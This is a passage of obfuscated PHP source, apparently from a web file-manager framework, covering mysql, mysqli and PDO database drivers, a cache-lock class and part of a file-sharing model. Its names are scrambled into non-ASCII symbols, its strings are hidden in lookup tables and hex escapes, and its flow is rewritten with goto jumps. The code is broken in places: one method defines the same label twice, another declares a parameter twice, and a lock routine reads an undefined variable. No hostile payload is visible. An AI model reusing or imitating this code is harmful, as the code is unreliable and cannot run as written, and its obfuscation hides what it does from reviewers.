$AԦ܌[812]; return $this->execute($dҴʆ); } public function insertAll($b, $A = array(), $Dň = false) { goto d; d: $EҘ =& $_SERVER[ȦÆ]; if (!is_array($b[0])) { return !1; } $Aծߪ = array_keys($b[0]); goto B; F: $d = ($Dň ? $EҘ[814] : $EҘ[815]) . $EҘ[816] . $this->parseTable($A[$EҘ[272]]) . $EҘ[810] . implode($EҘ[57], $Aծߪ) . $EҘ[817] . implode($EҘ[57], $e≴); return $this->execute($d); goto bϙ­; B: $e≴ = array(); foreach ($b as $e޸Ȕ) { $Aȱ = array(); foreach ($e޸Ȕ as $Dԇ => $C) { $C = $this->parseValue($C); if (is_scalar($C)) { $Aȱ[] = $C; } } $e≴[] = $EҘ[253] . implode($EҘ[57], $Aȱ) . $EҘ[812]; } array_walk($Aծߪ, array($this, $EҘ[813])); goto F; bϙ­: } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $D =& $_SERVER[ȦÆ]; $this->error = mysql_errno() . $D[4] . mysql_error($this->_linkID); if ($D[43] != $this->queryStr) { $this->error .= LNG($D[55]) . $this->queryStr; } think_trace($this->error, $D[43], $D[56]); return $this->error; } public function escapeString($E櫘ߚ) { if ($this->_linkID) { return mysql_real_escape_string($E櫘ߚ, $this->_linkID); } else { return mysql_escape_string($E櫘ߚ); } } public function parseKey(&$d, $fۮ޼ = true) { $dԦ =& $_SERVER[ȦÆ]; if ($fۮ޼) { $d = $this->parseKeyCheck($d); } if ($d != $dԦ[182] && !preg_match($dԦ[818], $d)) { $d = $dԦ[819] . trim($d, $dԦ[819]) . $dԦ[819]; } return $d; } } class DbMysqli extends Db { public function __construct($D = '') { $d䣩 =& $_SERVER[ȦÆ]; if (!extension_loaded($d䣩[728])) { think_exception(think_lang($d䣩[20]) . $d䣩[820]); } if (!empty($D)) { $this->config = $D; if (empty($this->config[$d䣩[23]])) { $this->config[$d䣩[23]] = $d䣩[43]; } } } public function connect($cՃ = '', $d▖ = 0) { $c֒ =& $_SERVER[ȦÆ]; if (!isset($this->linkID[$d▖])) { goto b; b: if (empty($cՃ)) { $cՃ = $this->config; } $this->linkID[$d▖] = new mysqli($cՃ[$c֒[794]], $cՃ[$c֒[796]], $cՃ[$c֒[797]], $cՃ[$c֒[27]], $cՃ[$c֒[795]] ? intval($cՃ[$c֒[795]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } goto e–; Cڪե: $this->connected = !0; if (1 != think_config($c֒[28])) { unset($this->config); } goto bǣ˿; e–: $f = $this->linkID[$d▖]->server_version; $this->linkID[$d▖]->query($c֒[798] . think_config($c֒[799]) . $c֒[65]); if ($f > $c֒[800]) { $this->linkID[$d▖]->query($c֒[801]); } goto Cڪե; bǣ˿: } return $this->linkID[$d▖]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($E˰ͥǨ) { goto dלȊ; e: $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } goto fާ; dלȊ: $Eȍ =& $_SERVER[ȦÆ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } goto C޼κ; C޼κ: $this->queryStr = $E˰ͥǨ; if ($this->queryID) { $this->free(); } think_action_status($Eȍ[29], 1); goto bۃц; bۃц: think_status($Eȍ[30]); $this->queryID = $this->_linkID->query($E˰ͥǨ); if ($this->_linkID->more_results()) { while (($D’ = $this->_linkID->next_result()) != NULL) { $D’->free_result(); } } goto e; fާ: } public function execute($F幋) { goto eە; a،: think_status($A쥮[30]); $E = $this->_linkID->query($F幋); $this->debug(); goto dđл; eە: $A쥮 =& $_SERVER[ȦÆ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } goto Aֽ; dđл: if (!1 === $E) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } goto E܄򹇢; Aֽ: $this->queryStr = $F幋; if ($this->queryID) { $this->free(); } think_action_status($A쥮[31], 1); goto a،; E܄򹇢: } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $f = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$f) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $eÕɆ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$eÕɆ) { $this->error(); return !1; } } return !0; } private function getAll() { $Dڒ = array(); if ($this->numRows > 0) { for ($A̩ = 0; $A̩ < $this->numRows; $A̩++) { $Dڒ[$A̩] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $Dڒ; } public function getFields($eЕ눬) { $Bս =& $_SERVER[ȦÆ]; $Dτ = $this->query($Bս[805] . $this->parseKey($eЕ눬)); $a؋ = array(); if ($Dτ) { foreach ($Dτ as $B => $Aݺ) { $a؋[$Aݺ[$Bս[37]]] = array($Bս[38] => $Aݺ[$Bս[37]], $Bս[39] => $Aݺ[$Bս[40]], $Bս[41] => (bool) ($Aݺ[$Bս[42]] === $Bս[43]), $Bս[44] => $Aݺ[$Bս[45]], $Bս[46] => strtolower($Aݺ[$Bս[47]]) == $Bս[48], $Bս[49] => strtolower($Aݺ[$Bս[50]]) == $Bս[51]); } } return $a؋; } public function getTables($d߉훸 = '') { $Bʒ =& $_SERVER[ȦÆ]; $F = !empty($d߉훸) ? $Bʒ[807] . $d߉훸 : $Bʒ[808]; $dӻ = $this->query($F); $Eˣὣ = array(); if ($dӻ) { foreach ($dӻ as $f넶Ʉ => $C—) { $Eˣὣ[$f넶Ʉ] = current($C—); } } return $Eˣὣ; } public function replace($aƈ, $D¢ = array()) { $E퐓 =& $_SERVER[ȦÆ]; foreach ($aƈ as $Fûٓ => $e) { $E = $this->parseValue($e); if (is_scalar($E)) { $c˳[] = $E; $bʡӵ[] = $this->parseKey($Fûٓ); } } $f몬 = $E퐓[809] . $this->parseTable($D¢[$E퐓[272]]) . $E퐓[810] . implode($E퐓[57], $bʡӵ) . $E퐓[811] . implode($E퐓[57], $c˳) . $E퐓[812]; return $this->execute($f몬); } public function insertAll($d, $a𥕤 = array(), $Dͦ = false) { goto d; c혛: $b = ($Dͦ ? $Cɷ[814] : $Cɷ[815]) . $Cɷ[816] . $this->parseTable($a𥕤[$Cɷ[272]]) . $Cɷ[810] . implode($Cɷ[57], $c) . $Cɷ[817] . implode($Cɷ[57], $F); return $this->execute($b); goto fܓ; Cۡ: $F = array(); foreach ($d as $Aς) { $C = array(); foreach ($Aς as $dҵ => $A) { $A = $this->parseValue($A); if (is_scalar($A)) { $C[] = $A; } } $F[] = $Cɷ[253] . implode($Cɷ[57], $C) . $Cɷ[812]; } array_walk($c, array($this, $Cɷ[813])); goto c혛; d: $Cɷ =& $_SERVER[ȦÆ]; if (!is_array($d[0])) { return !1; } $c = array_keys($d[0]); goto Cۡ; fܓ: } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $F =& $_SERVER[ȦÆ]; $this->error = $this->_linkID->errno . $F[4] . $this->_linkID->error; if ($F[43] != $this->queryStr) { $this->error .= LNG($F[55]) . $this->queryStr; } think_trace($this->error, $F[43], $F[56]); return $this->error; } public function escapeString($cȺ) { if ($this->_linkID) { return $this->_linkID->real_escape_string($cȺ); } else { return addslashes($cȺ); } } public function parseKey(&$b, $D = true) { $c݈ =& $_SERVER[ȦÆ]; if ($D) { $b = $this->parseKeyCheck($b); } if ($b != $c݈[182] && !preg_match($c݈[818], $b)) { $b = $c݈[819] . trim($b, $c݈[819]) . $c݈[819]; } return $b; } } class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($fΑ = '') { $cϛ˔ =& $_SERVER[ȦÆ]; if (!class_exists($cϛ˔[821])) { think_exception(think_lang($cϛ˔[20]) . $cϛ˔[822]); } if (!empty($fΑ)) { $this->config = $fΑ; if (empty($this->config[$cϛ˔[23]])) { $this->config[$cϛ˔[23]] = array(); } } } public function connect($C = '', $f = 0) { $F =& $_SERVER[ȦÆ]; if (!isset($this->linkID[$f])) { goto Eָ; D: $this->dbType = $this->_getDsnType($C[$F[823]]); if (in_array($this->dbType, array($F[824], $F[825], $F[826], $F[827]))) { think_exception($F[828] . $this->dbType . $F[829] . $this->dbType . $F[830]); } if (!$this->linkID[$f]) { think_exception($F[831]); } goto Fָ; Eָ: if (empty($C)) { $C = $this->config; } if ($this->pconnect) { $C[$F[23]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$f] = new PDO($C[$F[823]], $C[$F[796]], $C[$F[797]], $C[$F[23]]); } catch (PDOException $A) { think_exception($A->getMessage()); } goto D; Fָ: $this->linkID[$f]->exec($F[832] . think_config($F[799])); $this->connected = !0; if (1 != think_config($F[28])) { unset($this->config); } goto D; D: } return $this->linkID[$f]; } public function free() { $this->PDOStatement = null; } public function query($d, $c˽ = array()) { goto Cʐ; e: if (!1 === $this->PDOStatement) { think_exception($this->error()); } $f߂Ä = $this->PDOStatement->execute($c˽); $this->debug(); goto d㠙; BƓμ: think_action_status($b؅[29], 1); think_status($b؅[30]); $this->PDOStatement = $this->_linkID->prepare($d); goto e; Cʐ: $b؅ =& $_SERVER[ȦÆ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } goto cśۙ; cśۙ: $this->queryStr = $d; if (!empty($c˽)) { $this->queryStr .= $b؅[833] . print_r($c˽, !0) . $b؅[834]; } if (!empty($this->PDOStatement)) { $this->free(); } goto BƓμ; d㠙: if (!1 === $f߂Ä) { $this->error(); return !1; } else { return $this->getAll(); } goto C; C: } public function execute($fͺɍ, $aՐDŽ = array()) { goto fު; b̰ܬ: $this->queryStr = $fͺɍ; if (!empty($aՐDŽ)) { $this->queryStr .= $dٶ[833] . print_r($aՐDŽ, !0) . $dٶ[834]; } $bÈ = !1; goto fϰ; Fڴ: think_status($dٶ[30]); $this->PDOStatement = $this->_linkID->prepare($fͺɍ); if (!1 === $this->PDOStatement) { think_exception($this->error()); } goto C; fϰ: if ($this->dbType == $dٶ[827]) { if (preg_match($dٶ[835], $this->queryStr, $d㌌̋)) { $this->table = think_config($dٶ[836]) . str_ireplace(think_config($dٶ[837]), $dٶ[366], $d㌌̋[2]); $bÈ = (bool) $this->query($dٶ[838] . strtoupper($this->table) . $dٶ[65]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($dٶ[31], 1); goto Fڴ; C: $E = $this->PDOStatement->execute($aՐDŽ); $this->debug(); if (!1 === $E) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($bÈ || preg_match($dٶ[839], $fͺɍ)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } goto F˙; fު: $dٶ =& $_SERVER[ȦÆ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } goto b̰ܬ; F˙: } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $cʋ = $this->_linkID->commit(); $this->transTimes = 0; if (!$cʋ) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $adž = $this->_linkID->rollback(); $this->transTimes = 0; if (!$adž) { $this->error(); return !1; } } return !0; } private function getAll() { $eˢ = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($eˢ); return $eˢ; } public function getFields($B) { goto a܋; a܋: $b =& $_SERVER[ȦÆ]; $this->initConnect(!0); if (think_config($b[840])) { $E؋ = str_replace($b[841], $B, think_config($b[840])); } else { switch ($this->dbType) { case $b[824]: case $b[842]: $E؋ = "\123\105\x4c\x45\x43\124\40\x20\x20\x63\x6f\154\x75\x6d\156\137\x6e\x61\155\145\x20\141\163\40\47\x4e\x61\x6d\145\x27\x2c\40\40\40\x64\141\x74\x61\137\164\x79\x70\145\40\141\x73\x20\x27\x54\171\x70\x65\47\x2c\40\40\40\143\x6f\x6c\165\155\156\137\x64\x65\146\x61\x75\x6c\x74\40\x61\163\x20\x27\104\x65\146\x61\165\154\x74\47\x2c\40\40\x20\151\163\x5f\x6e\x75\154\x6c\x61\x62\x6c\x65\40\x61\x73\40\47\116\x75\154\154\47\xa\11\x9\106\x52\117\115\x9\x69\x6e\x66\x6f\162\155\x61\x74\x69\157\x6e\x5f\163\143\150\145\155\x61\x2e\164\x61\142\154\145\163\40\x41\123\40\164\xa\x9\11\112\x4f\111\x4e\x9\x69\x6e\146\x6f\162\x6d\141\x74\151\x6f\156\137\x73\x63\x68\x65\x6d\141\x2e\143\x6f\x6c\165\x6d\156\x73\x20\x41\x53\x20\x63\xa\11\11\x4f\116\40\x20\x74\x2e\164\141\x62\x6c\145\x5f\143\x61\164\141\154\x6f\x67\x20\75\x20\x63\x2e\164\141\x62\154\x65\x5f\143\x61\164\141\x6c\x6f\147\12\11\x9\101\x4e\x44\x20\164\x2e\x74\141\142\x6c\x65\137\x73\x63\150\x65\x6d\141\x20\75\x20\x63\56\164\141\x62\154\x65\137\x73\143\x68\145\x6d\141\xa\x9\11\101\116\104\40\164\56\x74\141\142\154\145\137\x6e\x61\155\145\x20\75\x20\x63\56\164\x61\x62\x6c\x65\137\156\x61\x6d\x65\12\11\11\x57\x48\x45\122\105\40\40\x20\x74\x2e\164\141\142\x6c\145\x5f\x6e\141\x6d\x65\40\x3d\x20\47{$B}\x27"; break; case $b[843]: $E؋ = $b[844] . $B . $b[845]; break; case $b[825]: case $b[827]: $E؋ = $b[846] . $b[847] . $b[848] . strtoupper($B) . $b[849] . strtoupper($B) . $b[850]; break; case $b[851]: $E؋ = $b[852] . $B . $b[853]; break; case $b[826]: break; case $b[854]: default: $E؋ = $b[855] . ($this->dbType == $b[854] ? "\x60{$B}\140" : $B); } } goto d; d: $D = $this->query($E؋); $aÅ҄ = array(); if ($D) { foreach ($D as $bѦ => $cɦ) { $cɦ = array_change_key_case($cɦ); $cɦ[$b[38]] = isset($cɦ[$b[38]]) ? $cɦ[$b[38]] : $b[366]; $cɦ[$b[39]] = isset($cɦ[$b[39]]) ? $cɦ[$b[39]] : $b[366]; $B䚉 = isset($cɦ[$b[266]]) ? $cɦ[$b[266]] : $cɦ[$b[38]]; $aÅ҄[$B䚉] = array($b[38] => $B䚉, $b[39] => $cɦ[$b[39]], $b[41] => (bool) (isset($cɦ[$b[109]]) && $cɦ[$b[109]] === $b[43] || isset($cɦ[$b[41]]) && $cɦ[$b[41]] === $b[43]), $b[44] => isset($cɦ[$b[44]]) ? $cɦ[$b[44]] : (isset($cɦ[$b[63]]) ? $cɦ[$b[63]] : $b[366]), $b[46] => isset($cɦ[$b[99]]) ? strtolower($cɦ[$b[99]]) == $b[48] : (isset($cɦ[$b[64]]) ? $cɦ[$b[64]] : !1), $b[49] => isset($cɦ[$b[856]]) ? strtolower($cɦ[$b[856]]) == $b[51] : (isset($cɦ[$b[99]]) ? $cɦ[$b[99]] : !1)); } } goto bН; bН: return $aÅ҄; goto B; B: } public function getTables($Cȫ = '') { $E =& $_SERVER[ȦÆ]; if (think_config($E[857])) { $c = str_replace($E[858], $Cȫ, think_config($E[857])); } else { switch ($this->dbType) { case $E[825]: case $E[827]: $c = $E[859]; break; case $E[824]: case $E[842]: $c = $E[860]; break; case $E[851]: $c = $E[861]; break; case $E[826]: think_exception(think_lang($E[862]) . $E[863]); break; case $E[843]: $c = $E[52] . $E[53] . $E[54]; break; case $E[854]: default: if (!empty($Cȫ)) { $c = $E[807] . $Cȫ; } else { $c = $E[808]; } } } $c = $this->query($c); $Eʚ = array(); foreach ($c as $aҞܞ => $fì) { $Eʚ[$aҞܞ] = current($fì); } return $Eʚ; } protected function parseLimit($d݈Ց) { $b =& $_SERVER[ȦÆ]; $D¦ = $b[43]; if (!empty($d݈Ց)) { switch ($this->dbType) { case $b[851]: case $b[843]: $d݈Ց = explode($b[57], $d݈Ց); if (count($d݈Ց) > 1) { $D¦ .= $b[58] . $d݈Ց[1] . $b[59] . $d݈Ց[0] . $b[60]; } else { $D¦ .= $b[58] . $d݈Ց[0] . $b[60]; } break; case $b[824]: case $b[842]: break; case $b[826]: break; case $b[825]: case $b[827]: break; case $b[854]: default: $D¦ .= $b[58] . $d݈Ց . $b[60]; } } return $D¦; } public function parseKey(&$D, $fĜ = true) { $Bَ =& $_SERVER[ȦÆ]; if ($fĜ) { $D = $this->parseKeyCheck($D); } if ($this->dbType == $Bَ[854]) { if ($D != $Bَ[182] && !preg_match($Bَ[818], $D)) { $D = $Bَ[819] . trim($D, $Bَ[819]) . $Bَ[819]; } return $D; } else { return parent::parseKey($D); } } public function close() { $this->_linkID = null; } public function error() { $a˹ =& $_SERVER[ȦÆ]; if ($this->PDOStatement) { $A֓Ԩ = $this->PDOStatement->errorInfo(); $this->error = $A֓Ԩ[1] . $a˹[4] . $A֓Ԩ[2]; } else { $this->error = $a˹[43]; } if ($a˹[43] != $this->queryStr) { $this->error .= LNG($a˹[55]) . $this->queryStr; } think_trace($this->error, $a˹[43], $a˹[56]); return $this->error; } public function escapeString($c) { $b =& $_SERVER[ȦÆ]; switch ($this->dbType) { case $b[851]: case $b[824]: case $b[842]: case $b[854]: return addslashes($c); case $b[826]: case $b[843]: case $b[825]: case $b[827]: return str_ireplace($b[65], $b[66], $c); } } protected function parseValue($fٱ) { $c =& $_SERVER[ȦÆ]; if (is_string($fٱ)) { $fٱ = strpos($fٱ, $c[4]) === 0 ? $this->escapeString($fٱ) : $c[864] . $this->escapeString($fٱ) . $c[864]; } elseif (isset($fٱ[0]) && is_string($fٱ[0]) && strtolower($fٱ[0]) == $c[290]) { $fٱ = $this->escapeString($fٱ[1]); } elseif (is_array($fٱ)) { $fٱ = array_map(array($this, $c[865]), $fٱ); } elseif (is_bool($fٱ)) { $fٱ = $fٱ ? $c[93] : $c[473]; } elseif (is_null($fٱ)) { $fٱ = $c[109]; } return $fٱ; } public function getLastInsertId() { $E׻ =& $_SERVER[ȦÆ]; switch ($this->dbType) { case $E׻[851]: case $E׻[843]: case $E׻[824]: case $E׻[842]: case $E׻[826]: case $E׻[854]: return $this->_linkID->lastInsertId(); case $E׻[825]: case $E׻[827]: $E = $this->table; $fĶ = $this->query("\x53\105\114\105\103\x54\40{$E}\56\143\165\x72\162\x76\141\154\40\x63\x75\x72\x72\x76\x61\x6c\x20\x46\x52\x4f\x4d\x20\x64\x75\x61\154"); return $fĶ ? $fĶ[0][$E׻[866]] : 0; } } } goto F; eú: class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { goto b̮; b̮: $cқނ =& $_SERVER[ȦÆ]; if (self::$handle) { return self::$handle; } $f = $GLOBALS[$cқނ[16]][$cқނ[342]]; goto A¢; f˓: if ($Fӟ == $cқނ[27] && $a߈ == $cқނ[19]) { $Fӟ = $cқނ[173]; } switch ($Fӟ) { case $cқނ[757]: self::$handle = new CacheLockRedis(); break; case $cқނ[758]: self::$handle = new CacheLockMemcached(); break; case $cқނ[27]: self::$handle = new CacheLockDatabase(); break; case $cқނ[173]: self::$handle = new CacheLockFile(); break; default: break; } return self::$handle; goto Aޟ; A¢: self::$timeout = $f[$cқނ[767]] ? $f[$cқނ[767]] : 10; $a߈ = _get($GLOBALS[$cқނ[16]], $cқނ[768]); $Fӟ = $f[$cқނ[754]] ? $f[$cқނ[754]] : $cқނ[173]; goto f˓; Aޟ: } private static function key($a) { return $_SERVER[ȦÆ][769] . Cache::key($a); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($F = '') { self::$errorMsg = $F; } public static function lockGlobal($e, $Bœ) { return self::lock($e, $Bœ, !0); } public static function lock($e, $A = false, $Aߍ = false) { goto Eׂ; d: $A = $A ? $A : self::$timeout; $cωۘ = $E⹽->lock($Dš, $A); if (!$cωۘ) { $fϳӈ = $bپ[770] . $A . $bپ[77] . self::$errorMsg . $bپ[77] . get_caller_msg(); $c = "\x4c\157\x63\153\40\141\x63\x74\151\x6f\x6e\72\40{$Dš}\40\164\151\x6d\x65\x6f\165\164\x2c\157\166\145\x72\40{$A}\40\x73"; $c = self::$errorMsg ? self::$errorMsg : $AȒ죆; write_log($fϳӈ, $bپ[771]); show_json($c, !1); } goto D૨; D૨: if (!$Aߍ) { self::$lockItem[$Dš] = !0; } return $cωۘ; goto bņ; Eׂ: $bپ =& $_SERVER[ȦÆ]; $E⹽ = self::init(); $Dš = self::key($e); goto d; bņ: } public static function lockGet($aһ) { $D혡 = self::key($aһ); if (self::$lockItem[$D혡]) { return self::$lockItem[$D혡]; } return self::init()->lockGet($D혡); } public static function unlock($d˱) { $f = self::key($d˱); self::$lockItem[$f] = null; return self::init()->unlock($f); } public static function unlockRuntime() { $F֎˨ =& $_SERVER[ȦÆ]; $dϖ = self::init(); $dû = !1; foreach (self::$lockItem as $f鉨Ź => $F) { if (!$F) { continue; } $dϖ->unlock($f鉨Ź); if (!$dû) { $dû = !0; write_log($F֎˨[772] . $f鉨Ź . $F֎˨[77] . get_caller_msg(), $F֎˨[771]); continue; } write_log($F֎˨[772] . $f鉨Ź, $F֎˨[771]); } } } function cacheLockWait() { usleep(mt_rand(5, 50) * 100); } class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $c폂 =& $_SERVER[ȦÆ]; $fߓ = $GLOBALS[$c폂[16]][$c폂[342]]; self::$cachePath = $fߓ[$c폂[173]][$c폂[85]]; @mkdir(self::$cachePath, 511, !0); } public function lock($e׵񓰺, $c䵭ֹ = 0) { goto fʣ; fʣ: $B҈ =& $_SERVER[ȦÆ]; $d = microtime(!0); $A = $d + $c䵭ֹ + 0.0001; goto Fƫ; B⍇: $this->unlock($e׵񓰺); return !1; goto f; Fƫ: $BǶ = rtrim(self::$cachePath, $B҈[18]) . $B҈[773] . md5($e׵񓰺) . $B҈[774]; if (file_exists($BǶ) && filemtime($BǶ) && filemtime($BǶ) < time() - 10) { @unlink($BǶ); } do { if (file_exists($BǶ)) { cacheLockWait(); continue; } $c = fopen($BǶ, $B҈[775]); if (!$c) { return !1; } $aӝ = flock($c, LOCK_EX | LOCK_NB); self::$caches[$e׵񓰺] = array($B҈[776] => $c, $B҈[173] => $BǶ); fwrite($c, $A); clearstatcache(); if ($c && $aӝ) { return !0; } cacheLockWait(); } while (microtime(!0) < $A); goto B⍇; f: } public function lockGet($dɡ) { $bЧ =& $_SERVER[ȦÆ]; $a = rtrim(self::$cachePath, $bЧ[18]) . $bЧ[773] . md5($dɡ) . $bЧ[774]; return file_exists($a); } public function unlock($e) { goto B; B: $Cȿ =& $_SERVER[ȦÆ]; $Bۇॷ = self::$caches[$e]; if (!$Bۇॷ) { return; } goto bݻƦ; bݻƦ: @flock($Bۇॷ[$Cȿ[776]], LOCK_UN); @fclose($Bۇॷ[$Cȿ[776]]); @unlink($Bۇॷ[$Cȿ[173]]); goto A; A: unset(self::$caches[$e]); goto c◗; c◗: } } goto aհ܎; AН: class ShareModel extends ModelBase { protected $tableName = "\163\150\x61\x72\145"; protected $dataAuto = array(array("\155\x6f\x64\x69\x66\171\124\151\x6d\145", "\164\151\x6d\x65", "\x69\x6e\x73\145\x72\x74\x2c\165\160\x64\141\164\x65", "\146\165\156\x63\x74\x69\157\x6e"), array("\143\x72\x65\141\164\x65\x54\x69\155\145", "\x74\151\x6d\x65", "\151\156\163\x65\x72\164", "\146\x75\x6e\x63\164\x69\x6f\x6e"), array("\x6f\160\x74\151\x6f\156\163", '', "\x69\x6e\163\x65\162\x74\54\x75\x70\144\x61\164\x65\x2c\163\x65\x6c\x65\143\x74", "\152\x73\x6f\156")); private $fieldList = "\x2a"; protected function cacheFunctionAlias($dӣˉ) { $Cɤ =& $_SERVER[ȦÆ]; $EˇĞѥ = isset($dӣˉ[0]) ? $dӣˉ[0] : !1; return array($Cɤ[2179] => array(USER_ID, $Cɤ[2180]), $Cɤ[2142] => array($EˇĞѥ, $Cɤ[2181])); } protected function listSimple() { $aʣ = array($_SERVER[ȦÆ][1412] => USER_ID); $A = $this->field($this->fieldList)->where($aʣ)->select(); return $A ? $A : array(); } protected function getInfo($fտ⊈, $C = false) { $bمȚ =& $_SERVER[ȦÆ]; if ($C) { return $this->_getShareInfo(array($bمȚ[446] => $fտ⊈)); } $E؉̴ = $this->cacheFunctionGet($bمȚ[2182], $fտ⊈); return $E؉̴; } public function getInfoByHash($A) { return $this->_getShareInfo(array($_SERVER[ȦÆ][448] => $A)); } public function getInfoByPath($E͞) { $DӘ =& $_SERVER[ȦÆ]; $f͚ = array($DӘ[1412] => USER_ID, $DӘ[374] => $E͞); return $this->_getShareInfo($f͚); } public function getInfoBySourcePath($BӒ枯) { $d =& $_SERVER[ȦÆ]; $F = array($d[1412] => USER_ID, $d[1011] => $BӒ枯); return $this->_getShareInfo($F); } private function _getShareInfo($Bߑ׈) { goto BǮ; B: $Bߑ׈ = array($fʼn޿[446] => $Dݙ[$fʼn޿[446]]); $e = $fʼn޿[2183]; $b݉א = Model($fʼn޿[542])->order($fʼn޿[372])->field($e)->where($Bߑ׈)->select(); goto d֎毞; d֎毞: if ($Dݙ[$fʼn޿[374]] == $fʼn޿[473]) { $Dݙ[$fʼn޿[396]] = IO::info($Dݙ[$fʼn޿[1011]]); } else { $Dݙ[$fʼn޿[396]] = Model($fʼn޿[1103])->pathInfo($Dݙ[$fʼn޿[374]]); } $Dݙ[$fʼn޿[2184]] = $b݉א; return $Dݙ; goto aӞЧ; BǮ: $fʼn޿ =& $_SERVER[ȦÆ]; $Dݙ = $this->where($Bߑ׈)->find(); if (!$Dݙ) { return !1; } goto B; aӞЧ: } protected function getInfoAuth($BͣŅ) { $D˴ =& $_SERVER[ȦÆ]; $d㶈 = $this->getInfo($BͣŅ); $d㶈[$D˴[381]] = Model($D˴[459])->authMake($d㶈[$D˴[2184]]); return $d㶈; } protected function listData($bл = null, $b = 300) { $fݒ =& $_SERVER[ȦÆ]; $bީ = array(array($fݒ[451] => array($fݒ[921], 0), $fݒ[453] => array($fݒ[921], 0), $fݒ[2185] => $fݒ[2154])); if ($bл == $fݒ[1841]) { $bީ = array($fݒ[451] => 1); } else { if ($bл == $fݒ[1000]) { $bީ = array($fݒ[453] => 1); } } $bީ[$fݒ[1412]] = USER_ID; $a = $this->where($bީ)->selectPage($b); return $a; } protected function listToMe($c = 300) { goto b; e: $d = array($d[2188] => $eҺ, $d[2189] => $dۅ[$d[356]]); return $d; goto dҚۋ; E圖: $f = array($d[526] => SourceModel::TYPE_USER, $d[461] => USER_ID); if ($a폮) { $f = array(array($d[526] => SourceModel::TYPE_USER, $d[461] => USER_ID), array($d[526] => SourceModel::TYPE_GROUP, $d[461] => array($d[17], $a폮)), $d[2185] => $d[2154]); } $dۅ = Model($d[542])->where($f)->selectPage($c); goto aِ; E׋: $f = array($d[446] => array($d[389], array_keys($e﫧))); $eҺ = $this->field($A)->where($f)->select(); foreach ($eҺ as $aƢ => &$CҲ) { $CҲ[$d[2184]] = $e﫧[$CҲ[$d[446]]]; } goto e; b: $d =& $_SERVER[ȦÆ]; $Fﮚ = Session::get($d[2186]); $a폮 = array_to_keyvalue($Fﮚ, $d[43], $d[2074]); goto E圖; aِ: $e﫧 = array_to_keyvalue_group($dۅ[$d[359]], $d[446]); if (!$e﫧) { return $dۅ; } $A = $d[2187]; goto E׋; dҚۋ: } protected function shareAdd($A޼ׄ, $DĐλ) { $D =& $_SERVER[ȦÆ]; $a̯ۋ = $this->_addShareData($A޼ׄ, $DĐλ); if (!empty($DĐλ[$D[2190]])) { $this->_shareAuthSet($a̯ۋ, $DĐλ[$D[2190]]); } $this->shareEventAdd($A޼ׄ, $DĐλ, $D[1003]); return $a̯ۋ; } private function shareEventAdd($d, $e䏗, $d = "\x61\x64\144") { goto E۵; aԕ̳: if ($A[$f豜[453]] == $f豜[473] && $e䏗[$f豜[453]] == $f豜[93]) { $c쪑 = $f豜[2192]; } if ($A[$f豜[453]] == $f豜[93] && $e䏗[$f豜[453]] == $f豜[473]) { $c쪑 = $f豜[2195]; } Model($f豜[510])->eventShare($d, $c쪑); goto eΎ悦; E۵: $f豜 =& $_SERVER[ȦÆ]; if ($d == $f豜[1003]) { if ($e䏗[$f豜[451]] == $f豜[93]) { Model($f豜[510])->eventShare($d, $f豜[2191]); } if ($e䏗[$f豜[453]] == $f豜[93]) { Model($f豜[510])->eventShare($d, $f豜[2192]); } return; } $A = $this->getInfoByPath($d); goto Cݝ; Cݝ: $c쪑 = $f豜[2193]; if ($A[$f豜[451]] == $f豜[473] && $e䏗[$f豜[451]] == $f豜[93]) { $c쪑 = $f豜[2191]; } if ($A[$f豜[451]] == $f豜[93] && $e䏗[$f豜[451]] == $f豜[473]) { $c쪑 = $f豜[2194]; } goto aԕ̳; eΎ悦: return; goto E; E: } private function _addShareData($fݭ, $D냇 = array()) { goto f; f: $A¦ۺ =& $_SERVER[ȦÆ]; $e݋ = array($A¦ۺ[388] => $fݭ, $A¦ۺ[1403] => USER_ID); if ($fݭ == 0) { $e݋ = array($A¦ۺ[2196] => $D냇[$A¦ۺ[1011]], $A¦ۺ[1403] => USER_ID); } goto F䈤; D: $DᢶɅ = array($A¦ۺ[1403] => USER_ID, $A¦ۺ[388] => $fݭ, $A¦ۺ[1320] => $A¦ۺ[43], $A¦ۺ[451] => 0, $A¦ۺ[453] => 0, $A¦ۺ[1011] => $A¦ۺ[43], $A¦ۺ[300] => $A¦ۺ[43], $A¦ۺ[797] => $A¦ۺ[43], $A¦ۺ[2197] => 0, $A¦ۺ[2198] => 0, $A¦ۺ[704] => 0, $A¦ۺ[2199] => $A¦ۺ[43], $A¦ۺ[448] => 